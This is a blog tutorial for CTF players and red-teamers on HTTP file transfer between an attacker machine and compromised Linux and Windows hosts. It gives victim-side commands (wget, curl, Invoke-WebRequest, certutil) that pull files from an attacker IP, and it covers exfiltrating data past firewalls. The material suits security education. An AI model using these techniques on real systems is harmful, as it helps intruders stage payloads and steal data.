HTTP - File Transfers for CTFs and Red-Teamers Pt. 1
Tags: cybersecurity, tutorial, linux, windows
Published: 2023-01-22 21:40:32

**Quick Disclaimer:** These are some of the techniques and tips I've picked up from ethical hacking and CTFs. But remember, performing these actions against networks or hosts you don't have explicit permission to do so is illegal. Don't break the law.

* [Overview](#overview)
* [Opsec Considerations](#opsec-considerations)
* [File Transfer Scenarios](#file-transfer-scenarios)
  * [Linux Attacker -> Linux Victim](#linux-attacker---linux-victim)
  * [Linux Victim -> Linux Attacker](#linux-victim---linux-attacker)
  * [Linux Attacker -> Windows Victim](#linux-attacker---windows-victim)
  * [Windows Victim -> Linux Attacker](#windows-victim---linux-attacker)
* HTTP Server Options:
  * [Linux HTTP Servers](#linux-http-server-options)
  * [Windows HTTP Servers](#windows-http-server-options)
* HTTP Client Options:
  * [Linux HTTP Clients](#linux-http-client-options)
  * [Windows HTTP Clients](#windows-http-client-options)
* [Potential Firewall Issues](#potential-firewall-issues)

# Overview <a name="overview"></a>

In the course of CTFs or Red Team engagements, there will come a point where you'll need to either infiltrate data (get files or programs ***on to*** the compromised host) or exfiltrate data (get files or programs ***off of*** the compromised host).

One of the simplest methods to achieve this is via HTTP, the same technology that powers websites.

It's important to note that HTTP is **unidirectional**, meaning that a client can download files from an HTTP server, but the server can't download files from the client. Additionally, the client can't upload files to the HTTP server. This is in contrast to file share specific protocols, like SMB or FTP, where clients can easily download ***and*** upload files to the server.

---
**Side note:** You ***technically can*** upload files via HTTP, typically using a `POST` request. However, that requires the HTTP server to also be running an application that has been programmed to include that functionality. Because of that, I'd consider that to be a potential web-app vulnerability, instead of being a reliable option for data infil/exfiltration.

---

To visualize a simple HTTP data transfer, I've included the below graphic. In this scenario, the attacker has compromised the victim, `10.10.10.1`, and has shell access on that machine, meaning they can execute system commands. The attacker needs to transfer a file, `file.txt`, onto the victim. On the attacker's machine, `10.10.10.2`, they start an HTTP server with `python -m http.server 80` from the directory containing `file.txt`.

On the victim's machine, the attacker runs the command `wget http://10.10.10.2/file.txt`, which downloads `file.txt` from the attacker's HTTP server onto the victim's compromised machine.

Since the victim machine isn't running an HTTP server, however, the attacker can't download files from the victim back to the attacker's machine.


![HTTP Unidirectional](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tth0d00qlheupe307uz5.jpg)


# Opsec Considerations <a name="opsec-considerations"></a>

Before moving on to the scenarios, it's important to remember that the methods I'm describing here don't have any safeguards against unauthorized file access. Meaning, if you start an HTTP server on either your machine or a victim's, ***anyone*** on the same network as you will be able to access those files as well.

Additionally, depending on what directory you host the HTTP server from, ***all files and subdirectories of that folder*** will be accessible to anyone on the same network as you.

For example, if you're on a Linux host and run the `python -m http.server 80` while **in your home directory**, that will make all the files in your home directory publicly accessible, **including any private keys in `.ssh/`!!!**. Before starting an HTTP server, it's always good practice to ensure you know what directory it will be serving files from. Better yet, create a new empty directory, and start the file server there. This applies both to when you're hosting the webserver on your attacking machine and when doing so from a compromised victim.

# File Transfer Scenarios <a name="file-transfer-scenarios"></a>

In each of the scenarios I'll be describing, I've randomly picked an HTTP client and HTTP server from the list of potential options to use. However, any HTTP client will be able to request files from any HTTP server. You'll need to find what client / server to use based off what you're most comfortable with using on your host, and what is available to you on the compromised victim.

## Linux Attacker -> Linux Victim <a name="linux-attacker---linux-victim"></a>

The first scenario we'll look at is when you have shell access on a compromised Linux host, and need to download a file **on to** that compromised machine. This is the same scenario we looked at earlier, except in the below image, our attacking machine is using Apache for the HTTP server instead of Python.

Since the HTTP Server is being hosted from our attacking machine, that means that virtually any of the below [Linux HTTP Server Options](#linux-http-server-options) are available. On our own machine, we have full permissions to install any software needed, and run programs as `sudo`.

From the shell on the victim, however, we'll need to find `which` binaries already exist on the victim that we can use to download files. Fortunately, that's easy in Linux using the `which <binary name>` command. For example, if you'd want to see if `wget` is already installed on the host you would just need to run the command `which wget`. If the command returns a file path, the program is installed. If it doesn't return anything, you'll need to find another program.

Looking back at the scenario, the attacker has shell access on the victim, and found that `wget` is installed. The attacker wants to transfer `file.txt` onto the victim, so the attacker starts an HTTP server on his own host with `sudo service apache2 start`. From the shell access on the victim, the attacker runs `wget http://10.10.10.2/file.txt` which downloads the file from the attacker, onto the victim.


![File Transfer: Linux Attacker to Linux Victim](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/22o2ke76afitfp6amv2u.jpg)

## Linux Victim -> Linux Attacker <a name="linux-victim---linux-attacker"></a>

This second scenario is the reverse of the first we looked at. This is when you have shell access on a compromised Linux host, and need to download a file **from** that compromised host. Much like how we looked to see if `wget` was available in scenario 1, in this case we'll need to check if one of binaries from [Linux HTTP Server Options](#linux-http-server-options) is available for us to use on the victim.

In the scenario below, the victim host has `Python 3` installed. So, from shell access on the victim, the attacker starts a `Python 3` HTTP server in the directory that contains, `file.txt`. Then, on the attackers own machine, they use `wget` to download `file.txt` from the victim, back to the attacker.

**note that the attacker and victim have switched sides in this image**

![Linux victim to Linux attacker](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qz08ff1akkl3ndityx3z.jpg)

## Linux Attacker -> Windows Victim <a name="linux-attacker---windows-victim"></a>

This third scenario invovles the attacker having shell access on a Windows machine, and needing to transfer a file from their attcking Linux machine onto the compromised Windows host.

In this scenario, the attacker is running the webserver with `SimpleHTTPServer` module, and using the Windows binary, `certutil.exe` to download `file.txt` from the attacking host.

`certutil.exe` is installed by default on Windows versions since Vista/Server 2008, but if we wanted to check for it's existence we could use the `where certutil.exe` command from a cmd terminal, or `(get-command certutil.exe).Path` in Powershell.


![Linux Attacker to Windows Victim](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/t060m4ukldn4l6id8t0s.jpg)

## Windows Victim -> Linux Attacker <a name="windows-victim---linux-attacker"></a>

The fourth and final scenario we'll look at, exfiltrating data **from** a compromised Windows host, is not going to be viable in most CTFs or real-world situtations. This is because Windows Defender Firewall blocks all inbound traffic by default. That means that unless we can add a new firewall rule, or can take advantage of a misconfigured firewall, our attacking host won't actually be able to connect to the HTTP server on the compromised Windows host.

For this example, I'm assuming those rules are already in place, and that the attacker has the necessary privilege to start and stop IIS.

On the compromised Windows host, the attacker starts the IIS server with the `iisreset /start` command. Then, from the attacking Linux host, the attacker uses `curl` to download `file.txt` from the victim machine back to the attacker.


![Windows Victim to Linux Attacker](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/iy7dpc06o3jz688wqayb.jpg)

---

# Linux HTTP Server Options: <a name="linux-http-server-options"></a>

The default port for HTTP traffic is port 80. When running a webserver on Port 80, most HTTP clients will assume that default port is being used, so it does not have to be specified. For example, `http://10.10.10.1/file.txt` == `http://10.10.10.1:80/file.txt`. But, `http://10.10.10.1/file.txt` **!=** `http://10.10.10.1:8000/file.txt`. If you're using the non-default port, which in some instances will be unavoidable, just remember to specify the port in your HTTP client.

### **Python 3**

With `Python 3` we can use the built-in `http.server` module to quickly and easily spin up an HTTP server. The syntax for the command is:

```bash
python -m http.server
# or python3 depending on how python is installed
python3 -m http.server
```

The `http.server` module will default to using `port 8000` and serve files from the current directory. If you want `http.server` to use `port 80`, or specify a directory to serve files from, you can use the `--directory` flag, and supply an integer value for port, which is the only positional argument the module supports:

```bash
# Will serve files from /var/www/html on Port 80
python -m http.server 80 --directory /var/www/html
```

### **Python 2**

Similar to the `Python 3 http.server` module, `Python 2` has a module, `SimpleHTTPServer` that can do the same thing. The sytax for that is:

```bash
# Will serve files from the current directory on Port 80
python -m SimpleHTTPServer 80
```

Unlike the `http.server` module, `SimpleHTTPServer` does not support a flag to specify the directory to serve files from. If you want to achieve that result, you'll have to use [pushd](https://www.geeksforgeeks.org/pushd-command-in-linux-with-examples/) and [popd](https://www.geeksforgeeks.org/popd-command-in-linux-with-examples/?ref=gcse):

```bash
# Will serve files from /var/www/html on Port 80
pushd /var/www/html; python -m SimpleHTTPServer 80; popd
```

### **Apache**

Unlike many of the other options here, Apache can be and oftentimes is used as a production webserver. Because of this, Apache has many more features, but the configuration for those features is stored in separate files, mainly `/etc/apache2/apache2.conf`.

Using Apache as an HTTP server for data exfil/infiltration, however, comes with the huge caveat that in most cases starting and stopping the service requires `sudo`, aka root access. When you're serving files from your attacking host, that's not an issue, but if you're trying to exfiltrate data from a victim you might not have root access.

Even if you don't have permissions to start/stop apache on a victim, you might still be able to use Apache to exfiltrate files via HTTP if you have write access to the directory that Apache is serving files from. By default this will be the `/var/www/html/` directory.

**Starting Apache on Kali:**

```bash
# Will start an apache server with the options from /etc/apache2/apache2.conf
sudo service apache2 start
```
**Stopping Apache on Kali:**

```bash
# Will stop an already running apache server
sudo service apache2 stop
```

### **Nginx**

Like Apache, Ngninx is also a production webserver that has a large market share. The default webroot for Nginx will vary depending on the OS and version that is installed, but some common Nginx webroots are as follows:

```bash
/var/www/html
/usr/share/nginx/www
/usr/share/nginx/html
```

Nginx for data exfiltration comes with the same caveats as Apache. If you're trying start or make changes to a running Nginx server on a compromised victim, you'll likely need root access. Otherwise, if you have write permissions to the webroot of an already running Nginx instance on a victim, you can still exfil data that way.

**Starting Nginx on Kali:**

```bash
# Will start an nginx server
sudo service nginx start
```

**Stopping Nginx on Kali:**
```bash
# Will stop an already running nginx server
sudo service nginx stop
```

### **simple-http-server**

[simple-http-server](https://github.com/TheWaWaR/simple-http-server) is a cli based HTTP server written in Rust that has pre-compiled binaries for Linux, Windows and MacOS hosts. It's highly unlikely that this binary will be pre-installed on a compromised victim, but since it has no dependencies, if you can infiltrate the binary onto a victim host you can easily use it to run an HTTP server.

If you use one of the pre-compiled binaries, the start command will match the filename, otherwise the general syntax is as follows.

```bash
# Will start an http server on port 80
./simple-http-server -p 80
```
___

# Linux HTTP Client Options: <a name="linux-http-client-options"></a>

The list I'm including here is by no means comprehensive. While I'm only listing some of the most commonly available methods / programs, there might be some instances where none of these programs are available, or their usage is restricted.

A great resource for finding programs that might grant you download capabilites via programs unbeknowst to sys admins is [GTFOBins - File Downloads Filter](https://gtfobins.github.io/#+file%20download).


### **wget**

Many Linux systems will come pre-installed with `wget`, making it a great choice for downloading files on Linux over HTTP. Downloading files with `wget` is very easy:

```bash
# Will download file.txt and save as file.txt
wget http://10.10.10.2:8000/file.txt
```

Optionally, you can the `-O` (capital letter O not zero) flag to specify the output filename.

```bash
# Will download file.txt and save as output-file.txt
wget -O output-file.txt http://10.10.10.2/file.txt
```

### **curl**

Another program that's very commonly found on Linux systems is `curl`. Unlike `wget`, `curl` defaults to displaying the output in the terminal instead of downloading files, however, you can easily save files with the `--output` flag.

```bash

curl http://10.10.10.2/file.txt --output file.txt
```


# Windows HTTP Server Options: <a name="windows-http-server-options"></a>

As mentioned above in [Windows Victim -> Linux Attacker](#windows-victim---linux-attacker), using HTTP for data exfil on Windows isn't generally a great choice, but these options are included for general awareness.

### **IIS**

IIS, Internet Information Services, is a web server created by Microsoft for use with Windows hosts. Whenever you encounter Windows hosts serving HTTP, it's highly likely that they'll be using IIS. The default webroot for IIS is `C:\inetpub\wwwroot\`. In order to start / stop an IIS server, you will need to be running as an Administrator, aka `NT Authority\System` user.

**Start IIS - cmd:**
```cmd
iisreset /start
```

**Start IIS - powershell:**
```powershell
Start-IISSite -Name "Default Web Site"
```

### **Python 3**

If `python 3` is installed, you can use the `http.server` module. Note the addition of the `--bind` flag with the ip `0.0.0.0`.

```bash
python -m http.server --bind 0.0.0.0 80
```

# Windows HTTP Client Options: <a name="windows-http-client-options"></a>

Much like the Linux list, the list of Windows HTTP clients here also by no means comprehensive. Windows has its own version of GTFOBins in the form of [LOLBAS](https://lolbas-project.github.io/#/download).

### **Invoke-WebRequest - Powershell**

If your Windows access is a powershell environment, or if you're in `cmd` and you can spawn a powershell environment with `powershell.exe`, you can use the built-in function `Invoke-WebRequest` to download files to Windows.

```powershell
# Downloads file.txt and saves it as file.txt
Invoke-WebRequest -Uri http://10.10.10.2/file.txt -OutFile file.txt
```

### **Certutil.exe - cmd / Powershell**

`certutil.exe` is a legitimate Windows program to download Certificate authority files. However, we can misuse this legitimate program to download files from any HTTP server that we specify.

```cmd
certutil.exe -urlcache -split -f http://10.10.10.2/file.txt file.txt
```

---

# Potential Firewall Issues <a name="potential-firewall-issues"></a>

In the scenarios I described above, it is assumed that there is either no firewall, or that the firewall has rules in place that will allow us to run any of the HTTP server / clients without issue. In CTFs / the real world, you'll often run into firewalls that have block rules in place to stop the kinds of HTTP transfers described above.

Firewall rules can be broken out into two distinct categories. Inbound rules and Outbound rules.

**Inbound** firewall rules control what happens when other computers try to access our local machine. For example, we could be running an HTTP webserver on port 80 locally accessible at `http://localhost:80`, but if we have a firewall block rule on port 80 in place, no other computers will be able to access that HTTP webserver.

Windows Defender Firewall blocks all inbound traffic by default, and exceptions for individual programs / services are made from there. This is part of the reason why HTTP isn't a great choice for data exfiltration on Windows.

While Linux distros include a wide number of firewall programs available, they often won't be enabled by default or won't have restrictive inbound rules enabled by default like Windows does. This makes HTTP an easy way to quickly exfiltrate data from Linux systems, just remember the opsec concerns from earlier.

**Outbound** firewall rules tell the computer what to do when our local computer tries to access computers and resources on other computers. This can be other computers on our local network, or even websites out on the internet. You'll occasionally run into instances where outbound traffic on most ports has been blocked by firewall rules. However, HTTP traffic on port 80, and HTTPS traffic on port 443 are often allowed outbound rules, otherwise the computer wouldn't be able to access the internet.